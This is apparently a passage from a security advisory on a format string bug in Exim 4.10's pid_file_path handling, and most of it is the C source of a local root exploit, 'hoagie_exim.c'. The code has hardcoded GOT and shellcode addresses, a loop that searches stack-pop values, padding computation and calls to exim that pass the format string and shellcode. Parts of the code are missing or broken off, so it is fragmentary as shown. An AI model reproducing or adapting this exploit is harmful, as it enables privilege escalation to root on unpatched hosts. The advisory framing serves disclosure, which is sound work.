pid_file_path can be changed on the command line. This line is in the function daemon_go(), which only gets executed when the user is an exim-admin-user.
This restricts the impact of this vulnerability a lot. Standard configurations on all distributions should be safe (verified: Debian Woody i386)
Solution:
Exim developers have been informed and a patch will be ready shortly.
Impact:
The vulnerability can only be exploited by the "admin user" of exim, who is determined by compiled-in values.
Exploit:
/***********************************************************
* hoagie_exim.c
*
* local root exploit for exim 4.10 and probably others.
* [only works for exim admin users]
*
* Format string bug when handling with the pid_file_path.
*
* Author: Thomas Wana <01psi194@fhwn.ac.at>
*
* Greetz to andi and the other hoagie-fellas :-)
*
* THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-
* CONCEPT. THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY
* DAMAGE DONE USING THIS PROGRAM.
*
************************************************************/
/*******************************************************
* CRUCIAL VALUES
*
* these standard values work for Debian Woody i386,
* source build.
*
* Play with the padding if the program can't find the
* right stackpop values.
*
* ALTERNATE_PORT is the port where exim will bind during
* the stackpop sequences. The port will be incremented by
* one for each try, so expect to have many instances of
* exim running. (this is because the port is bound to as
* root and the user program can't kill that process anymore)
*
* Get the GOT_ADDRESS with 'objdump --dynamic-reloc exim | grep fopen'
*
* Shellcode-Address can vary, it is dependant on the size
* of the current environment. I had values between 0xbffffb00
* and 0xbffffe90.
*
********************************************************/
#define PADDING 3
#define ALTERNATE_PORT 3330
#define FOPEN_GOT_ADDRESS 0x080b6194
#define SHELLCODE_ADDRESS 0xbffffd00
int calc_bytes_written(char *line)
{
int rval=0;
char *p;
if((p=strrchr(line,':')))
{
rval=(p-line);
}
else
{
rval=strlen(line);
}
if(strstr(line,"pid written to ")) rval-=strlen("pid written to ");
else rval-=strlen("failed to open pid file ");
return rval;
}
void getstackpops(int *bigs, int *smalls, int *bytes_written)
{
int cpid;
int pipedes[2];
int found=0;
int bs=0, ss=1;
char hilf[10];
// execute exim
sprintf(hilf,"%d",port);
execl(path,"exim","-bd","-d","-oX",hilf,"-oP",fs,"-F",shellcode,NULL);
}
else if(cpid>0)
{
// parent process
FILE *fp=fdopen(pipedes[0],"r");
char line[10000];
if(fp)
{
do
{
fgets(line,10000,fp);
line[strlen(line)-1]=0;
/* printf("%s\n",line); ENABLE THIS LINE WHEN THE PROGRAM GETS STUCK! */
if(strstr(line,"pid written to ") ||
strstr(line,"failed to open pid file "))
{
if(strstr(line,"nan")) printf("watch out, nan encountered.\n");
if(check_for_AAAA(line)==1)
{
// stackpops found, values are OK
found=1;
bs--; // revert 2 stackpops
printf("Stackpops found ;-)\n");
*bigs=bs;
*smalls=ss;
*bytes_written=calc_bytes_written(line)-13;
}
else
{
// increase stackpops
ss++;
if(ss==3) bs++, ss=1;
printf("trying bs=%d, ss=%d\n",bs,ss);
}
}
} while(!strstr(line,"Listening..."));
fclose(fp);
}
else perror("fdopen");
kill(cpid,SIGINT);
usleep(100000);
}
else perror("fork");
close(pipedes[0]);
close(pipedes[1]);
}
}
void get_write_paddings(unsigned long addr, int *p1, int *p2, int *p3,
int *p4, int bytes_written)
{
// greetings to scud :-)
int write_byte;
int already_written;
int padding;
// GET ROOT
printf("calling exim with fs='%s'\n",fs);
sprintf(hilf,"%d",++port);
execl(path,"exim","-bd","-d","-oX",hilf,"-oP",fs,"-F",shellcode,NULL);